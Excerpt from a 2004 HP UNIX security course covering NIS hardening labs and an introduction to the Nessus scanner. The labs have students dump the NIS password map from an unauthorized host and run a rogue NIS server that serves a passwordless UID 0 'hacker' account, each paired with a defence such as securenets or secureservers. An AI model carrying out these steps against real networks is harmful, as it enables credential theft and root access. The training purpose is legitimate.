To: YPPASSWDD_OPTIONS="/etc/passwd.nis -m passwd \
PWFILE=/etc/passwd.nis"

This tells the yppasswdd daemon to manage /etc/passwd.nis instead of

/etc/passwd. This change becomes active when yppasswdd is restarted.

5. Stop and re-start NIS server functionality:

# /sbin/init.d/nis.server stop
# /sbin/init.d/nis.server start

6. Edit /var/yp/ypmake and modify PWFILE.

Change: PWFILE=${PWFILE:-$DIR/passwd}
To: PWFILE=${PWFILE:-$DIR/passwd.nis}

7. Edit /var/yp/Makefile and modify the PWFILE variable.

Change: PWFILE=${DIR}/passwd
To: PWFILE=${DIR}/passwd.nis

8. Rebuild and propagate the new passwd maps.

# /var/yp/ypmake passwd

9. Modify /etc/nsswitch.conf, as we did on the previous slide:

passwd: compat
group: compat

http://education.hp.com 15-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

10. If desired, add escape "+" entries to /etc/passwd as described on the previous slide.

H3541S D.02 15-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

15–5. SLIDE: Limiting Access with NIS Netgroups

Limiting Access with NIS Netgroups

server:/etc/netgroup
accounts (,nisuser1,) (,nisuser2,)
finance (,nisuser3,) (,nisuser4,)

client:/etc/passwd
root:...
user1:...
+@accounts

Use netgroups to manage multiple + entries in

the /etc/passwd file.

Student Notes
To ease the management of large groups of users in an NIS environment, the
/etc/netgroup file can be used to represent many users by a single netgroup name.

The example on the slide shows a group called accounts containing two users: nisuser1
and nisuser2. After configuring /etc/netgroup, the client's administrator can use
netgroup escape entries in /etc/passwd instead of individual user escape entries.

While the example shows just two users in the group, netgroups in large environments may
contain hundreds of users.

http://education.hp.com 15-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

15–6. SLIDE: Verifying the NIS Server’s IP Address

Verifying the NIS Server’s IP Address

I’m a client in the I will! I will!

marketing domain.
Who can serve me?

I’ll bind to the

hacker since he
Client answered first.
Hacker’s server Real server

I’ll setup a rogue

NIS server for the Use /var/yp/secureservers
domain. Then I can to specify the servers to which a client
control login access should bind.
on the clients that
bind to me!

Student Notes
During the system boot process, an NIS client’s ypbind process uses a subnet broadcast to
determine which NIS servers are available to answer the client’s queries. By default, the NIS
client “binds” to the first server that responds.

Hackers sometimes configure rogue NIS servers, hoping that NIS clients will unwittingly bind
to the hacker’s server rather than the legitimate NIS server. Once a client binds to the
hacker’s server, all of the client’s username and password queries are sent to the hacker!

The HP-UX NIS implementation includes a file called /var/yp/secureservers that can
mitigate this danger somewhat. The secureservers file, which should be configured on
each NIS client, contains a list of legitimate NIS servers. When ypbind receives a response
from a server, it consults secureservers to determine if the server can be trusted. Have a
look at the sample secureservers file below:

# vi /var/yp/secureservers
255.255.255.255 192.1.1.1 # ok to bind to server at IP 192.1.1.1
255.255.0.0 128.1.0.0 # ok to bind to any server on 128.1.*.*

H3541S D.02 15-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

When you make changes to the secureservers file, be sure to stop and restart the NIS
client daemons.

# /sbin/init.d/nis.client stop
# /sbin/init.d/nis.client start

Since NIS servers are typically configured as clients, too, each server should have a
/var/yp/secureservers file containing their own IP address. Otherwise, you will likely
discover that your NIS servers are actually binding to other systems on the network, which
can cause both performance and security problems.

http://education.hp.com 15-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

15–7. SLIDE: Excluding Unauthorized Clients from the Domain

Excluding Unauthorized Clients from

the Domain

# ypbind -ypset
# ypset -d accts server
# ypcat passwd

Hacker NIS server

If I can guess the NIS

domainname, I’ll bind
to the NIS server and Use /var/yp/securenets to specify
download the passwd which hosts may bind to your NIS server!
map!

Student Notes
The last slide illustrated that the /var/yp/secureservers file can protect NIS clients
from binding to an unauthorized NIS server. Similarly, the /var/yp/securenets file can
be used to protect an NIS server from binding to an unauthorized NIS client.

In the example above, the hacker attempts to set his domain to that which the NIS server is
servicing (accts). Without the /var/yp/securenets file, the NIS server has no method of
determining if the binding request is from an authorized client . Therefore, the binding does
occur and now the hacker has read access to all the NIS maps. But, if the NIS server uses the
/var/yp/securenets file to specify only authorized NIS client IP addresses, then when
the hacker’s system tries to bind to the NIS server, the server will reject the bind request due
to the hacker’s IP address not being listed in the /var/yp/securenets file.

The syntax of the /var/yp/securenets file is a list of authorized, client IP addresses. For
example:

# vi /var/yp/securenets
255.255.255.255 192.1.1.1 # allow client with IP 192.1.1.1
255.255.0.0 128.1.0.0 # allow any client on 128.1 subnet

H3541S D.02 15-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

When you make changes to the securenets file, be sure to stop and restart the NIS server
daemons.

# /sbin/init.d/nis.server stop
# /sbin/init.d/nis.server start

http://education.hp.com 15-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

15–8. SLIDE: Verifying ypserv’s Port Number

Verifying ypserv’s Port Number

I’ll write a modified

ypserv daemon on
the client.
Use “ypbind -s”
When the client on NIS clients to ensure
sends a bind that ypbind only binds to
request, my ypserv “secure” ports!
will respond before
the real NIS server.
Then the client will
bind to me!

Student Notes
Within the hacking community, one method of gaining unauthorized access is through “spoof”
programs. Spoof programs are written by hackers to emulate existing system programs, so
that users will execute the spoof program in lieu of the legitimate program.

A favorite trick of hackers is to write (or borrow an already written) spoof of the ypserv
program. The intent of this program is to have the local ypbind process bind to the local
ypserv “spoof”. If this happens, then the spoof ypserv can validate any login attempts to
the system -- even root login attempts! When a client binds to the spoof ypserv, a backdoor
now exists to the root account.

Spoofs are hard to prevent, since any regular user can create and run a ypserv spoof
daemon.

One way to tell whether a network service (like ypserv) was started by root versus a regular
user, is to look at the port number that the service runs on. On HP-UX systems, port numbers
0-1024 are reserved for use by root. Therefore, if a hacker logged in as a regular user, tried to
start a spoof ypserv daemon, it would have to run under a port number greater than 1024.

H3541S D.02 15-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

To prevent your NIS client from binding to a bogus ypserv daemon, always start ypbind
with the –s option. The –s option prevents ypbind from binding to any ypserv daemon
running on a port greater than 1024.

NOTE: This option provides minimal protection at best. If the hacker

manages to obtain root privileges on any HP-UX system on your
subnet, the hacker can run a spoof ypserv daemon on one of the
“secure” ports.

Furthermore, on the Microsoft Windows platform, there are no

“secure” ports. Thus, if a hacker runs a spoof ypserv daemon on a
PC, your HP-UX client may be fooled into believing that the spoof
server is legitimate.

http://education.hp.com 15-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

15–9. SLIDE: Improving NIS Security: Best Practices

Improving NIS Security: Best Practices

Limit login access on NIS servers.

Limit login access on NIS clients.
Configure /var/yp/securenets on NIS servers.
Configure /var/yp/secureservers on NIS clients.
Use netgroups to simplify NIS administration.
Don’t allow RPC traffic across your firewall.
If you are truly concerned about security, don’t use NIS!

Student Notes

H3541S D.02 15-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

15–10. LAB: Improving NIS Security

Directions
In the exercises that follow you will work with two classmates to secure and test your own
NIS domain. First, choose an NIS domain name for your team:

Domain name: ______________________

You will configure one of your hosts as an NIS master server, one as an NIS client, and use
the remaining host to hack into the NIS domain. Note that most NIS domain administrators
configure one or more slave servers to supplement the master server. In the interest of time,
we will only configure a master server for this exercise. Decide among yourselves which role
each host will play, and record your decisions below:

NIS Server: ______________________

NIS Client: ______________________
Hacker: ______________________

Part I: Configure the NIS Master Server

Enable NIS Master and Client functionality on the host you chose to be your NIS server.
Don't perform these steps on the client or hacker hosts yet!
1. Set the following variables in the /etc/rc.config.d/namesvrs configuration file
(leave all other variables in the file untouched):

# vi /etc/rc.config.d/namesvrs
NIS_MASTER_SERVER=1
NIS_CLIENT=1
NIS_DOMAIN=yourdomainname
YPBIND_OPTIONS="-s"

2. Set your domain name from the command line:

# domainname yourdomainname

3. Run ypinit to create the NIS maps:

# ypinit -m # accept the defaults for all questions

4. Start the NIS daemons:

# /sbin/init.d/nis.server start
# /sbin/init.d/nis.client start

http://education.hp.com 15-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

Part II: Limit Access to the NIS Master Server

By default, all users in the NIS password map can log into the NIS master server. It is
recommended, however, that you limit access to the master server. In this part of the lab,
you will configure the master server so "root" is the only authorized login.
1. Why can't you secure the master server by simply deleting all the user entries from
/etc/passwd?

Answer:

2. Create an alternate password file as a source for the NIS maps:

# cp /etc/passwd /etc/passwd.nis

3. Remove all the user accounts from /etc/passwd (Do not, however, remove accounts
with UID<100!):

# vipw

4. Remove all accounts with UID<100 from /etc/passwd.nis.

# vi /etc/passwd.nis

5. Modify the YPPASSWDD_OPTIONS variable in /etc/rc.config.d/namesvrs so the

yppasswdd daemon uses passwd.nis to rebuild the passwd map:

# vi /etc/rc.config.d/namesvrs
Change: YPPASSWDD_OPTIONS="/etc/passwd -m passwd \
PWFILE=/etc/passwd"
To: YPPASSWDD_OPTIONS="/etc/passwd.nis -m passwd \
PWFILE=/etc/passwd.nis"

6. Stop and restart the NIS server daemons:

# /sbin/init.d/nis.server stop
# /sbin/init.d/nis.server start

7. Modify /var/yp/ypmake to ensure that it, too, uses passwd.nis when rebuilding the
passwd map:

# vi /var/yp/ypmake

Change: PWFILE=${PWFILE:-$DIR/passwd}
To: PWFILE=${PWFILE:-$DIR/passwd.nis}

H3541S D.02 15-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

8. Edit /var/yp/Makefile to ensure that it, too, uses passwd.nis when rebuilding the
passwd map.

Change: PWFILE=${DIR}/passwd
To: PWFILE=${DIR}/passwd.nis

9. Rebuild and propagate the new passwd maps.

# /var/yp/ypmake passwd

10. Modify /etc/nsswitch.conf:

# vi /etc/nsswitch.conf
passwd: compat
group: compat

11. Make sure your configuration worked! See if you can su to user1 on the master server.
Does it succeed? Explain!

Answer:

http://education.hp.com 15-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

Part III: Configure the NIS client

Now that you have a functional NIS server, configure and test an NIS client.
1. Enable NIS client functionality in /etc/rc.config.d/namesvrs.

Ensure that ypbind is started with the -s (secure) option.

# vi /etc/rc.config.d/namesvrs
NIS_CLIENT=1
NIS_DOMAIN=yourdomainname
YPBIND_OPTIONS="-s"

2. Remove all user entries from /etc/passwd:

# vipw remove all accounts with userid > 99

3. Start up the NIS client side daemons, and verify that ypbind succeeded:

# /sbin/init.d/nis.client start
# ypwhich

4. Test the configuration! On the client, try to su to user1, user11, and user21. Which of
these su's should succeed? Which should fail? Did your configuration appear to work?

Answer:

H3541S D.02 15-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

Part IV: Limit Access to the Client with Escape Entries

By default in HPUX 11.0 and beyond, all users in the NIS passwd map may login on an NIS
client. You may, however, prefer to allow only a subset of the NIS users to login on selected
hosts in your domain. In this part of the lab, you will limit access to the NIS client by
configuring "escape entries" in the client's /etc/passwd file.
1. Modify (or create) /etc/nsswitch.conf to allow escape entries in /etc/passwd:

# vi /etc/nsswitch.conf
passwd: compat
group: compat

2. Remove all user entries from /etc/passwd and add escape entries for user1 through
user5:

# vipw add the following lines to the end of /etc/passwd:

+user1
+user2
+user3
+user4
+user5

3. Test the configuration! On the client, try to su to user1, user11, and user21. Which of
these su's should succeed? Which should fail? Did your configuration appear to work?

Answer:

http://education.hp.com 15-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

Part V: Limit Access to the Client with NIS Netgroups

In the previous part of the exercise, you configured an NIS client to allow NIS login access
for users 1 through 5. Creating escape entries for individual users in a large NIS domain can
quickly become tedious. In this part of the exercise, you will configure two NIS net groups to
simplify /etc/passwd configuration on the NIS clients.
1. Create an /etc/netgroup file on the NIS server. The netgroup file should include
two net groups:

user10-user14 sales netgroup

user15-user19 accounts netgroup

# vi /etc/netgroup
sales (,user10,) (,user11,) (,user12,) (,user13,) (,user14,)
accounts (,user15,) (,user16,) (,user17,) (,user18,) (,user19,)

2. Rebuild the netgroup map on the NIS server:

# /var/yp/ypmake netgroup

3. Modify /etc/passwd on the NIS client to allow NIS logins for the users in the accounts
and sales net groups.

# vi /etc/passwd
(add the following lines)
+@sales
+@accounts

4. In what situations might netgroups be advantageous?

Answer:

5. Test the configuration! On the client, try to su to user1, user11, and user21. Which of
these su's should succeed? Which should fail? Did your configuration appear to work?

Answer:

H3541S D.02 15-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

Part VI: How Hackers Gain Unauthorized Access to an NIS domain

Does NIS check the credentials of hosts attempting to join a domain? In this exercise you
will find out!
1. Configure your designated hacker host as a client of your NIS domain by modifying
/etc/rc.config.d/namesvrs:

# vi /etc/rc.config.d/namesvrs
NIS_CLIENT=1
NIS_DOMAIN=yourdomainname

2. On the hacker host, run the NIS client startup script:

# /sbin/init.d/nis.client start

3. Did the hacker successfully join the domain? See if the hacker can dump the NIS
password map for the domain out to a temporary file. Did the NIS server administrator
receive any notification that the hacker host joined the domain?

# ypcat passwd > /tmp/passwd

Answer:

4. What information did the hacker need to gain access to the NIS domain's password map?
How might the hacker exploit the just-created /tmp/passwd file?

Answer:

http://education.hp.com 15-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

Part VII: Excluding Unauthorized Hosts from NIS Domains

In the previous part of the lab, you saw how easy it is for hackers to access maps in an NIS
domain. In this part of the lab, you will have a chance to lock unauthorized hosts out of your
NIS domain.
1. Shutdown NIS server and client functionality on all three of your hosts.

# /sbin/init.d/nis.client stop
# /sbin/init.d/nis.server stop

2. On the NIS server, open the /var/yp/securenets configuration file for editing. Each
line in the file defines a host, network, or subnet that is authorized to join the server's NIS
domain. Add two lines to the file; one for the NIS server itself, and one for the authorized
NIS client:

# vi /var/yp/securenets
255.255.255.255 128.1.1.1 # use your server's IP here
255.255.255.255 128.1.1.2 # use your client's IP here

3. Restart the NIS server functionality on your NIS server:

# /sbin/init.d/nis.server start

4. Attempt to restart the NIS client functionality on all three machines.

# /sbin/init.d/nis.client start

5. What happened? Try dumping the passwd map on each host to see which hosts
successfully joined the NIS domain:

# ypcat passwd

Answer:

H3541S D.02 15-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

Part VIII: How Hackers Configure Bogus NIS Servers

In this exercise, you will configure your hacker host as a bogus NIS name server and wreak
havoc on the NIS clients!
1. Shutdown NIS client functionality on all three hosts.

# /sbin/init.d/nis.client stop

2. Repeat the steps performed in Part I (Configuring an NIS server) on the hacker host.

Answer:

3. Pull the LAN cable from the LAN interface card on the legitimate NIS server, then restart
NIS client functionality on the NIS server and client.

# /sbin/init.d/nis.client start

4. Which server did the client bind to? (Note that if both servers had been connected to the
LAN, the client would have bound to whichever server responded to the client's
broadcast first. If the legitimate NIS server were down or busy, there is a good chance
that the client would bind to the bogus server!)

# ypwhich

5. On the hacker host, create a new /etc/passwd entry for a user called "hacker" and
rebuild the passwd map (Be patient. ypmake may take several minutes).

# vi /etc/passwd
hacker::0:3:hacker:/:/usr/bin/sh

# /var/yp/ypmake passwd

6. Now try logging into the NIS client with username "hacker" and see what happens! How
is this situation dangerous?

Answer:

http://education.hp.com 15-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

Part IX: Protecting Clients against Bogus NIS Servers

You have seen the danger presented by bogus NIS servers. In this part of the lab you will see
how to prevent NIS clients from binding to bogus servers.
1. Shutdown NIS client functionality on the NIS client.

# /sbin/init.d/nis.client stop

2. Add the legitimate NIS server's IP address to the /var/yp/secureservers

configuration file on the NIS client.

# vi /var/yp/secureservers
255.255.255.255 128.1.1.1 # use your server's IP here

3. Make sure the legitimate server's LAN cable is still disconnected, and restart the client's
NIS functionality: (Be patient)

# /sbin/init.d/nis.client start

4. Did the client bind to the hacker's bogus NIS server this time? Execute ypwhich on the
client to find out!

# ypwhich

Answer:

5. ypbind actually records its activity in /var/adm/syslog/syslog.log. Look in the

syslog.log file to see what was recorded in the syslog:

# tail /var/adm/syslog/syslog.log

Answer:

6. Reconnect the legitimate server's LAN cable, stop and restart the client's NIS
functionality, and verify that the client binds to the right server this time:

# /sbin/init.d/nis.client stop
# /sbin/init.d/nis.client start
# ypwhich

Answer:

H3541S D.02 15-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 15
How the Hacker Exploits NIS Vulnerabilities

Part X: Cleanup
Before continuing on to the next chapter, restore your system to its original state by running
the netfiles script. When asked if you wish to reboot your system, answer yes.

# /labs/scripts/netfiles -r INITIAL

http://education.hp.com 15-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 15
How the Hacker Exploits NIS Vulnerabilities

H3541S D.02 15-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 16 — Solution: Scanning for Vulnerabilities
with Nessus
Objectives
Upon completion of this module, you will be able to do the following:
• Explain the purpose of host and network scanners.

• List some of the free and commercial scanners available today.

• Install, configure, and run the Nessus network scanner.

http://education.hp.com 16-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–1. SLIDE: What Is a Scanner?

What Is a Scanner?

Use a host and/or network scanner to identify potential vulnerabilities.

Network scanners… Host-based scanners…

• Send network queries to remote target hosts • Examine local configuration files
• Analyze responses • Search for vulnerabilities
• Report potential vulnerabilities • Report results

Examine:
ftp (port 21) /etc/inetd.conf
/etc/exports
…
ssh (port 22)

telnet (port 23)

Student Notes
The preceding chapters in this course have discussed many vulnerabilities that hackers
frequently exploit on UNIX systems. Manually identifying these vulnerabilities can be a very
tedious process. Using a host or network scanner, however, can simplify the process
considerably.

Host-based scanners examine your local configuration files to identify potential

vulnerabilities on the localhost. Network scanners query network services on a target
system, and identify vulnerabilities by analyzing the target’s results. Network scanners may
be used remotely, even if you don’t have a login on the target system.

Both host and network scanners typically collate and analyze the scan results. Many of
today’s scanners have sophisticated reporting tools with GUI and/or web-based interfaces.
Some products such as Bastille are even able to patch vulnerabilities automatically!

H3541S D.02 16-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–2. SLIDE: Available Scanners

Available Scanners

Several host-based scanners are available for free!

• Bastille (http://www.software.hp.com)
• Cops (ftp://coast.cs.purdue.edu)

Several network scanners are available for free, too!

• Nmap (http://www.insecure.org)
• Nessus (http://www.nessus.org)

Several vendors offer commercially supported network scanning products.

• ISS (http://www.iss.net)
• SAINT (http://www.saintcorporation.com)

Other vendors offer for-fee and for-free web-based scanning solutions.

• Security Metrics (http://www.securitylogics.com)

• Security Space (http://www.securityspace.com)

Student Notes
IT Security has become a more and more important issue in recent years. As a result, the
number and quality of scanners on the market has increased significantly. The slide
highlights a few scanners that you may wish to consider.

Free host-based scanners Host-based scanners examine local configuration files to

identify potential vulnerabilities. The open source Cops
utility was among the first widely-used UNIX host-based
scanners. It is still available from the COAST FTP site, but is
somewhat dated. The Bastille product, which is now
available in .depot format from
http://software.hp.com is more current, and is even
able to plug vulnerabilities automatically.

Free network free scanners Network scanners scan remote host ports for vulnerable
services. nmap, which was discussed earlier in the course, is
an effective tool for simply determining which ports are
open. While nmap simply generates a list of open ports,
nessus analyzes each port and attempts to determine which
ports might be vulnerable to attacks. In most cases, nessus

http://education.hp.com 16-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

even explains why and how the service can be disabled,

though it is unable to make the necessary changes for you.

Commercial network scanners Several commercial vendors offer network scanners, too.
Internet Security Scanner (ISS) is one of the most popular.
Administrator's Integrated Network Tool (SAINT) is another
popular commercial scanner.

Web-based network scanners Many security companies now offer web-based security
scanners, too, that run via a web interface from the vendor’s
servers.

This course will concentrate on the Bastille host scanner, which is now supported by HP, and
Nessus, which is one of the most popular free network scanning tools.

H3541S D.02 16-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–3. SLIDE: Nessus Features

Nessus Features

Nessus offers a number of features not available on some other scanners.

• It’s free!
• Runs on most UNIX platforms
• Uses a “plug-in” architecture, with frequent plug-in updates
• Uses a client-server architecture so you can initiate and view scans remotely
• Can scan multiple hosts simultaneously
• Recognizes services running on non-standard ports
• Includes a very flexible reporting mechanism
• Can be executed in non-destructive mode

Student Notes
Nessus is a network scanning utility that probes one or more remote hosts for vulnerabilities.

• Nessus is free! The software can be downloaded from http://www.nessus.org.

• Nessus runs on most UNIX platforms. It is bundled as a self-installing script, too, so

there is no need to edit Makefiles or configure scripts.

• Nessus uses a “plug-in” architecture, with frequent plug-in updates. This makes it very
easy to add additional security tests. New Nessus plug-ins are released on the Nessus
website almost daily to identify the latest security problems. You can also write your
own plugins using the Nessus Attack Scripting Language (NASL).

• Nessus uses a client-server architecture so you can initiate scans remotely. The nessusd
daemon runs on the system you wish to use to initiate the scan, while the nessus client
GUI runs elsewhere on the network. If you plan to scan hosts at a branch office on a
regular basis, you can configure a Nessus server locally at the branch office, but run the
Nessus GUI client from a different location. There are several clients: one for X11, one
for Win32, and one written in Java.

http://education.hp.com 16-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

• Nessus can scan multiple hosts simultaneously. Depending of the power of the Nessus
server, you can test two, ten or forty hosts at the same time. Nessus consolidates the
scan results in a unified report interface.

• Nessus recognizes services running on non-standard ports. Even if telnetd is running

on port 37654, nessusd will recognize it and report potential telnet vulnerabilities.

• Nessus includes a very flexible reporting mechanism. You can view the scan results via a
hot-linked GUI interface, or you can save the results as ASCII, HTML, XML, or LaTeX
files. The HTML reports even include charts and graphs to impress your Manager!

• Nessus can scan your hosts a couple different ways. If you don't want to risk taking
down vulnerable services on your network, you can enable the "safe checks" option of
Nessus, which will make Nessus rely on banners rather than exploiting real flaws to
determine if a vulnerability is present. On the other hand, for a more thorough
assessment of your vulnerabilities, you can ask Nessus to actually exploit potential
vulnerabilities to determine if they are present.

H3541S D.02 16-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–4. SLIDE: Installing Nessus

Installing Nessus

Always obtain management approval before installing and running Nessus!!

1. Obtain written permission from your manager before installing or running Nessus.
2. Download and install OpenSSL and KRNG11i from
http://software.hp.com.
3. Download nessus-installer.sh from http://www.nessus.org.
4. Configure, compile, and install Nessus with nessus-installer.sh.
5. Create Nessus SSL certificates with nessus-mkcert.
6. Create a Nessus user with nessus-adduser.
7. Start the Nessus daemon with nessusd –D.
8. Run the Nessus GUI interface by typing nessus.
9. Connect to the Nessus server daemon.
10. Select desired plug-ins, targets, and preferences.
11. Run the scan.
12. View the results.
13. Plug vulnerabilities as necessary.

Student Notes
Several steps are required to install and configure Nessus.
1. Obtain written permission from your manager before installing or running Nessus. This is
critical since many organizations prohibit or limit the use of network scanners.

2. Download and install OpenSSL and HP's KRNG11i Strong Random Number Generator
from http://software.hp.com. OpenSSL is required to manage security certificates
and provide encryption and authentication between the Nessus client and server. The
KRNG11i bundle provides enhanced random number generation, which enhances
Nessus/OpenSSL security.

# cd /tmp
# netscape http://software.hp.com
# swinstall -s /tmp/ixOpenSSL*.depot ixOpenSSL
# swinstall -s /tmp/KRNG11i*.depot -x autoreboot=true KRNG11i

After installing the software, logout, then log back in again to update your PATH variable.

3. Download nessus-installer.sh. Nessus should be installed in a secure file system

that is only available to root. Create a /secure/nessus directory, and download the

http://education.hp.com 16-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

nessus-installer.sh program from http://www.nessus.org/.

# mkdir /secure/nessus
# cd /secure/nessus
# netscape http://www.nessus.org/

4. Verify that /usr/local/bin is at the beginning of your PATH, and run the nessus-
installer.sh script. When asked where you want to install Nessus, answer
/secure/nessus. Relax for a while the program installs and compiles Nessus for you.

# sh /tmp/nessus-installer.sh
Where do you want the whole Nessus package to be installed?
[/usr/local] /secure/nessus

5. Create SSL certificates for your host with nessus-mkcert. These will be used to
provide a secure channel of communication to the system you use to run the GUI
interface.

# /secure/nessus/sbin/nessus-mkcert

Enter your country, state/province, location, and organization. Accept the defaults for
the other questions.

6. Create a Nessus user with nessus-adduser (Nessus users are unrelated to

/etc/passwd users. You can use any name you wish). You will have a choice between
authenticating the user using a password or a certificate. Choose the pass (password)
option. Remember your Nessus username and password – you will need it later!

# /secure/nessus/sbin/nessus-adduser
Login : mynessususer
Authentication (pass/cert) [pass] : pass
Password : xxx

Eventually, you will be asked to enter one or more Nessus rules for your user. These
rules determine which hosts your user will be allowed to scan. The example below
allows this user to scan my host on the 10.1.1.0/24 subnet.

allow 10.1.1.0/24 (your subnet address will be different)

default deny
^D
7. Start the Nessus daemon.

# /secure/nessus/sbin/nessusd –D

H3541S D.02 16-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

8. Start the Nessus GUI client.

# /secure/nessus/bin/nessus

9. Connect to the Nessus server daemon. The Nessusd host tab that appears first in the
GUI prompts for the Nessus server’s hostname and port number, and asks for a valid
Nessus username and password.

Nessusd host: myhost

Port: 1241
Login: mynessususer
Password: xxx

Click the Log in button.

10. Select desired plug-ins, targets, and preferences. Other tabs in the interface allow you to
specify which vulnerabilities you want to test, which hosts you wish to target, and other
preferences.

11. Once you have selected your plugins and targets, click the Start the scan button to
initiate the scan. Nessus displays a status bar screen so you can monitor the progress of
the scan(s).

12. View the results. When the scan completes, Nessus automatically generates a hot-linked
reports listing the identified vulnerabilities. If you click the Save report button, you
can save the report in a variety of formats.

13. Plug vulnerabilities as necessary. After you read the report, plug the identified
vulnerabilities. In most cases, Nessus suggests a solution for each vulnerability.

http://education.hp.com 16-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–5. SLIDE: Connecting to the Nessus Server

Connecting to the Nessus Server

From the Host tab in the nessus

client GUI, you can specify the
hostname, port number, and
Nessus username and password of
your nessusd server system.

Student Notes
The nessus client GUI uses a tabbed user interface. The Host tab is the first tab to appear
when you launch nessus. From the Host tab, you can specify the hostname, port number,
and Nessus username and password of your nessusd server system. After entering your
server, user, and password information, click Log in to connect to the server.

H3541S D.02 16-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–6. SLIDE: Selecting Nessus Plugins

Selecting Nessus Plugins

On the Plugins tab, you can select the

plugins you want to scan.

Click a vulnerability category in the top

pane to view a list of plugins associated
with that category in the bottom pane.

Watch out for plugins marked by “!” icons –

they exploit vulnerabilities that may cause
problems for processes on the target.

Click the checkbox to the right of any

vulnerability to include the associated
plugin in your scan.

Some plugins depend on other plugins;

click the enable dependencies checkbox
at runtime to automatically select the
dependent plugins, too.

Student Notes
After you login, Nessus opens the Plugin tab.

On the Plugins tab, you can select the plugins you want to scan.

Click a vulnerability category in the top pane to view a list of plugins associated with that
category in the bottom pane.

Watch out for plugins marked by “!” icons – they exploit vulnerabilities that may cause
problems for processes on the target.

Click the checkbox to the right of any vulnerability to include the associated plugin in your
scan. You can also use the buttons in the middle of the screen to Enable or Disable all
plugins in the list. If you click Enable all but dangerous plugins, Nessus will select
all plugins except those that may potentially cause target daemons to die.

http://education.hp.com 16-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

Some plugins attempt to exploit known security issues to determine if a target system if
vulnerable.

Some plugins depend on other plugins; click the Enable dependencies at runtime
checkbox to automatically select the dependent plugins, too.

H3541S D.02 16-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–7. SLIDE: Selecting Nessus Targets

Selecting Nessus Targets

On the Target tab, in the Target(s)

field, enter a space separated list of
hosts that you wish to target.

If you intend to target multiple hosts,

enter the host list in a text file, then
notify Nessus by clicking Read File.

If the target is a DNS server, click

Perform a DNS zone transfer to obtain
a list of other hosts in the domain from
the server, and target those hosts, too.

If you want to save the scan results for

future reference, click Save this
session

Student Notes
The Prefs and Scan Options tabs allow you to fine tune your scans. Many administrators
simply accept the default preferences and options and proceed directly to target selection.
You will have an opportunity to explore some of the options and preferences in the lab at the
end of the chapter.

On the Target tab, in the Target(s) field, enter a space separated list of hosts or IP
addresses that you wish to target.

If you intend to target multiple hosts, enter the host list in a text file, then notify Nessus by
clicking Read File.

If the target is a DNS server, click Perform a DNS zone transfer to obtain a list of
other hosts in the domain, and target those hosts, too. Be sure to obtain permission from the
other host administrators before selecting this option!

If you want to save the scan results for future reference, click Save this session.

http://education.hp.com 16-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

